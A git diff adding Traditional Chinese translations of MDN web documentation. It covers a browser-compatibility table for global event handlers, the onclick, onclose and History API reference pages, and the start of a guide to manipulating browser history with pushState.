+   <td><code>oncanplay</code>, <code>oncanplaythrough</code>, <code>ondurationchange</code>, <code>onemptied</code>, <code>onended</code>, <code>onloadeddata</code>, <code>onloadedmetadata</code>, <code>onloadstart</code>, <code>onpause</code>, <code>onplay</code>, <code>onplaying</code>, <code>onprogress</code>, <code>onratechange</code>, <code>onseeked</code>, <code>onseeking</code>, <code>onstalled</code>, <code>ontimeupdate</code>, <code>onvolumechange</code>, <code>onwaiting</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmouseenter</code>, <code>onmouseleave</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(10)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsuspend</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondragexit</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>oncancel</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onclose</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncuechange</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmousewheel</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsort</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onmozfullscreenchange</code>, <code>onmozfullscreenerror</code> {{non-standard_inline}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+  </tr>
+  <tr>
+   <td><code>onpointerlockchange</code>, <code>onpointerlockerror</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(10)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onpointercancel</code>, <code>onpointerdown</code>, <code>onpointerup</code>, <code>onpointermove</code>, <code>onpointerout</code>, <code>onpointerover</code>, <code>onpointerenter</code>, <code>onpointerleave</code></td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>onselectionchange</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(43)}}<sup>[4]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ontouchend</code>, <code>ontouchcancel</code>, <code>ontouchmove</code>, <code>ontouchstart</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>animationstart</code>, <code>animationend</code>, <code>animationcancel</code>, <code>animationiteration</code></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(51)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+  </tr>
+  <tr>
+   <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code></td>
+   <td>{{CompatChrome(57.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(57.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>onauxclick</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(53)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Gecko this is implemented as <code>onmozpointerlockchange</code>, <code>onmozpointerlockerror</code>.</p>
+
+<p>[2] In Blink this is implemented as <code>onwebkitpointerlockchange</code>, <code>onwebkitpointerlockerror</code>.</p>
+
+<p>[3] This is implemented behind the <code>dom.w3c_pointer_events.enabled</code> preference, defaulting to <code>false</code>.</p>
+
+<p>[4] This is implemented behind the <code>dom.select_events.enabled</code> preference, that default to <code>false</code>, except on Nightly.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+ <li>{{domxref("EventHandler")}}</li>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/globaleventhandlers/onclick/index.html b/files/zh-tw/web/api/globaleventhandlers/onclick/index.html
new file mode 100644
index 0000000000..d5a1ac1845
--- /dev/null
+++ b/files/zh-tw/web/api/globaleventhandlers/onclick/index.html
@@ -0,0 +1,144 @@
+---
+title: GlobalEventHandlers.onclick
+slug: Web/API/GlobalEventHandlers/onclick
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/GlobalEventHandlers/onclick
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<div> </div>
+
+<p><strong>onclick</strong> 屬性回傳當前元件 <code>click</code> 事件處理器的程式碼（event handler code）。</p>
+
+<div class="note"><strong>注意:</strong> 當使用 <code>click</code> 事件觸發動作時，同時考慮將此動作加到 <code>keydown</code> 事件中，讓沒使用滑鼠或使用觸控螢幕的使用者也可以進行此動作。</div>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><var>element</var>.onclick = <var>functionRef</var>;
+</pre>
+
+<p>此處的 <em>functionRef</em> 為一個函式－通常是函式的名字或是<em>函式表示式</em>（function expression）<em>。</em> 見 "<a href="/en-US/docs/JavaScript/Guide/Functions">JavaScript Guide:Functions</a>" 來了解更多。</p>
+
+<p>傳入事件處理函式（event handler function）的唯一引數為 {{domxref("MouseEvent")}} 物件。在這函式中，<code>this</code> 為觸發此事件的元件。</p>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8" /&gt;
+    &lt;title&gt;onclick event example&lt;/title&gt;
+    &lt;script&gt;
+      function initElement() {
+        var p = document.getElementById("foo");
+        // NOTE: showAlert(); or showAlert(param); will NOT work here.
+        // Must be a reference to a function name, not a function call.
+        p.onclick = showAlert;
+      };
+
+      function showAlert(event) {
+        alert("onclick Event detected!");
+      }
+    &lt;/script&gt;
+    &lt;style&gt;
+      #foo {
+        border: solid blue 2px;
+      }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body onload="initElement();"&gt;
+    &lt;span id="foo"&gt;My Event Element&lt;/span&gt;
+    &lt;p&gt;click on the above element.&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>你也可以使用如下的匿名函式：</p>
+
+<pre class="brush:js">p.onclick = function(event) { alert("moot!"); };
+</pre>
+
+<h2 id="Notes" name="Notes">備註</h2>
+
+<p>使用者點擊元件時會觸發 <code>click</code> 事件。<code>click</code> 事件發生在 <code>mousedown</code> 及 <code>mouseup</code> 事件之後。</p>
+
+<p>這個屬性同一時間中只能指定一個 <code>click</code> 處理器（handler）。你也許會比較想使用 {{domxref("EventTarget.addEventListener()")}}，因為它有更多的彈性而且是 DOM 事件規範的一部份。</p>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onclick','onclick')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/api/globaleventhandlers/onclose/index.html b/files/zh-tw/web/api/globaleventhandlers/onclose/index.html
new file mode 100644
index 0000000000..abe97bcd4c
--- /dev/null
+++ b/files/zh-tw/web/api/globaleventhandlers/onclose/index.html
@@ -0,0 +1,102 @@
+---
+title: GlobalEventHandlers.onclose
+slug: Web/API/GlobalEventHandlers/onclose
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/GlobalEventHandlers/onclose
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>送至視窗的 close event 的處理器（handler）。（不支援 Firefox 2 及 Safari）</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">window.onclose = funcRef;
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<ul>
+ <li><code>funcRef</code> 為函式的參照。</li>
+</ul>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">window.onclose = resetThatServerThing;
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onclose','onclose')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/api/history/index.html b/files/zh-tw/web/api/history/index.html
new file mode 100644
index 0000000000..b4a1d7603e
--- /dev/null
+++ b/files/zh-tw/web/api/history/index.html
@@ -0,0 +1,183 @@
+---
+title: History
+slug: Web/API/History
+translation_of: Web/API/History
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>History</code></strong> 介面允許操控瀏覽器的 <em>session history</em> 紀錄，為當前面頁所在分頁中訪問、或於當前面頁中透過頁面框架（frame）所載入的頁面。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>The <code>History</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("History.length")}} {{readOnlyInline}}</dt>
+ <dd>Returns an <code>Integer</code> representing the number of elements in the session history, including the currently loaded page. For example, for a page loaded in a new tab this property returns <code>1</code>.</dd>
+ <dt>{{domxref("History.current")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the URL of the active item of the session history. This property was never available to web content and is no more supported by any browser. Use {{domxref("Location.href")}} instead.</dd>
+ <dt>{{domxref("History.next")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the URL of the next item in the session history. This property was never available to web content and is not supported by other browsers.</dd>
+ <dt>{{domxref("History.previous")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the URL of the previous item in the session history. This property was never available to web content and is not supported by other browsers.</dd>
+ <dt>{{domxref("History.scrollRestoration")}} {{experimental_inline}}</dt>
+ <dd>Allows web applications to explicitly set default scroll restoration behavior on history navigation. This property can be either <code>auto</code> or <code>manual</code>.</dd>
+ <dt>{{domxref("History.state")}} {{readOnlyInline}} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>Returns an <code>any</code> value representing the state at the top of the history stack. This is a way to look at the state without having to wait for a {{event("popstate")}} event.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>The <code>History</code></em> <em>interface doesn't inherit any methods.</em></p>
+
+<dl>
+ <dt>{{domxref("History.back()")}}</dt>
+ <dd>回到 session history 紀錄中的前一頁，等同於使用者按下瀏覽器的上一頁按鈕。相當於 <code>history.go(-1)</code>。
+ <div class="note">Calling this method to go back beyond the first page in the session history has no effect and doesn't raise an exception.</div>
+ </dd>
+ <dt>{{domxref("History.forward()")}}</dt>
+ <dd>回到 session history 紀錄中的下一頁，等同於使用者按下瀏覽器的下一頁按鈕。相當於 <code>history.go(1)</code>。
+ <div class="note">Calling this method to go forward beyond the most recent page in the session history has no effect and doesn't raise an exception.</div>
+ </dd>
+ <dt>{{domxref("History.go()")}}</dt>
+ <dd>自 session history 紀錄中載入一個頁面，利用該頁面相對於目前頁面的所在位置，例如 -1 為前一頁或 1 為下一頁。若指定了一個超出範圍的值（舉例來說，在 session history 沒有先前訪頁面的情況下指定 -1），此方法將會是靜默（不會產生錯誤）且沒有任何效果的。不帶參數或是傳入 0 呼叫 <code>go()</code> 會重新載入目前頁面。Internet Explorer <a href="http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx">也可以傳入字串</a>來前往一個於瀏覽歷史列表中指定的頁面。</dd>
+ <dt>{{domxref("History.pushState()")}} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>插入給定的資料與指定的標題（title）以及選擇性的 URL 至 session history 堆疊（stack）中。給定的資料將被 DOM 視為不透明的（opaque）；可以指定任何可被序列化的 JavaScript 物件。請注意 Firefox 目前會忽略標題（title）參數；更多資訊請參閱<a href="/zh-TW/docs/Web/API/History_API">操控瀏覽器歷史紀錄</a>。</dd>
+ <dt>{{domxref("History.replaceState()")}} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>以指定的資料、標題（title）及可選的 URL 來更新歷史紀錄堆疊（history stack）中近期的項目。給定的資料將被 DOM 視為不透明的（opaque）；可以指定任何可被序列化的 JavaScript 物件。請注意 Firefox 目前會忽略標題（title）參數；更多資訊請參閱<a href="/zh-TW/docs/Web/API/History_API">操控瀏覽器歷史紀錄</a>。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#the-history-interface", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Adds the <code>scrollRestoration</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-history-interface", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Custom Scroll Restoration', '#web-idl', "History")}}</td>
+   <td>{{Spec2('Custom Scroll Restoration')}}</td>
+   <td>Adds the <code>scrollRestoration</code> attribute.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>pushState</code> and <code>replaceState</code></td>
+   <td>{{CompatChrome(5.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0 <sup>[1]</sup></td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td><code>scrollRestoration</code></td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("46.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>33</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>pushState</code> and <code>replaceState</code></td>
+   <td>2.2</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.3</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>scrollRestoration</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Firefox 2 through 5, the passed object is serialized using JSON. Starting in Firefox 6, the object is serialized using <a href="/en/DOM/The_structured_clone_algorithm" title="en/DOM/The structured clone algorithm">the structured clone algorithm</a>. This allows a wider variety of objects to be safely passed.</p>
+
+<p>[2] WebKit <a href="https://trac.webkit.org/changeset/213590/webkit">bug 147782</a></p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The {{domxref("Window.history")}} property returning the history of the current session.</li>
+</ul>
diff --git a/files/zh-tw/web/api/history_api/index.html b/files/zh-tw/web/api/history_api/index.html
new file mode 100644
index 0000000000..2554fe6801
--- /dev/null
+++ b/files/zh-tw/web/api/history_api/index.html
@@ -0,0 +1,255 @@
+---
+title: 操控瀏覽器歷史紀錄
+slug: Web/API/History_API
+tags:
+  - DOM
+  - HTML5
+  - History
+translation_of: Web/API/History_API
+---
+<p>DOM {{ domxref("window") }} 物件透過 {{ domxref("window.history", "history") }} 物件，提供了進入瀏覽歷史的方式。他透過一些方便的屬性與方法，讓你可以在歷史紀錄中往上一步或往下一步移動，並且讓你——從 HTML5 開始——能操作歷史紀錄堆疊（history stack）的內容。</p>
+
+<h2 id="在歷史紀錄中移動">在歷史紀錄中移動</h2>
+
+<p>往前往後歷史紀錄可以用 <code>back()</code>, <code>forward()</code>, 和 <code>go()</code> 的方法。</p>
+
+<h3 id="往前往後">往前往後</h3>
+
+<p>要在歷史紀錄中往上一步移動，可以：</p>
+
+<pre class="brush: js">window.history.back();
+</pre>
+
+<p>這完全等同於用戶在瀏覽器上點選「上一頁」按鈕。</p>
+
+<p>同樣的，你也可以往下一步移動（等同於用戶點擊往後一頁的按鈕）：</p>
+
+<pre class="brush: js">window.history.forward();
+</pre>
+
+<h3 id="移動到特定的歷史紀錄">移動到特定的歷史紀錄</h3>
+
+<p>你可以用 <code>go()</code> 方法來從頁面的 session history 紀錄中載入特定紀錄，以目前頁面的相對位置而定（目前的頁面想當然爾是 index 0）。</p>
+
+<p>往前一頁（等同於呼叫 <code>back()</code>）：</p>
+
+<pre class="brush: js">window.history.go(-1);
+</pre>
+
+<p>往後一頁（等同於呼叫 <code>forward()</code>）：</p>
+
+<pre class="brush: js">window.history.go(1);
+</pre>
+
+<p>同樣的你也可以傳入 2，讓頁面直往後兩頁，依此類推。</p>
+
+<p>你可以查看 length 這個屬性來取得目前瀏覽歷史的總數我：</p>
+
+<pre class="brush: js">var numberOfEntries = window.history.length;
+</pre>
+
+<div class="note"><strong>備註：</strong>Internet Explorer 支援在 <code>go()</code> 中以 URL 的值作為參數；這不在標準中，Gecko 也不支援。</div>
+
+<h2 id="加入和修改歷史紀錄">加入和修改歷史紀錄</h2>
+
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p>HTML5 加入了 <a href="/zh-TW/docs/Web/API/History/pushState"><code>history.pushState()</code></a> 和 <a href="/zh-TW/docs/Web/API/History_API#The_replaceState()_method"><code>history.replaceState()</code></a> 方法，讓你可以加入或修改歷史紀錄。這些方法都可以跟 {{ domxref("window.onpopstate") }} 事件一同應用。</p>
+
+<p>使用 <code>history.pushState()</code>後，會改變 <a href="/zh-TW/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> 時 HTTP 標頭中 referrer 的值。referrer 會是創造 <a href="/zh-TW/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> 物件時的當前視窗文件（<code>this</code>）的 URL。</p>
+
+<h3 id="pushState()_方法範例">pushState() 方法範例</h3>
+
+<p>假設 <span class="nowiki">http://mozilla.org/foo.html</span> 執行了下面的 JavaScript：</p>
+
+<pre class="brush: js">var stateObj = { foo: "bar" };
+history.pushState(stateObj, "page 2", "bar.html");
+</pre>
+
+<p>這會讓網址列顯示 <span class="nowiki">http://mozilla.org/bar.html</span>，但不會讓瀏覽器去載入 <code>bar.html</code>，甚或去檢查 <code>bar.html</code> 存在與否。</p>
+
+<p>假設現在使用者瀏覽到 <span class="nowiki">http://google.com</span>，然後點擊上一頁鈕。這時網址列會顯示 <span class="nowiki">http://mozilla.org/bar.html</span>，頁面會獲得 <code>popstate</code> 的事件（<em>state object</em> 會包含一份 <code>stateObj</code> 的副件）。頁面長得跟 <code>foo.html</code> 很像，但是可能在 <code>popstate</code> 事件執行中被修改。</p>
+
+<p>如果我再點一次上一頁鈕， 網址會改變成為 <span class="nowiki">http://mozilla.org/foo.html</span>，且文件會得到另外一個 <code>popstate</code> 事件，此次會包含一個 null state object。同樣的，回上頁鈕不會改變文件的內容，只是文件可能會在 <code>popstate</code> 事件中被手動更新。</p>
+
+<h3 id="pushState()_方法">pushState() 方法</h3>
+
+<p><code>pushState()</code> 取用三個參數：一個 state 物件、title（目前忽略）與 URL（可選用）。我們來看看三個參數的細節之處：</p>
+
+<ul>
+ <li>
+  <p><strong>state object</strong>——state object 是與 <code>pushState()</code> 建立的新瀏覽歷史紀錄有關的一個 JavaScript 物件。只要使用者到了新的 state ，一個 <code>popstate</code> 的事件就會被觸發，然後該事件的 <code>state</code> 屬性會包含一個複製的歷史紀錄的 state object。</p>
+
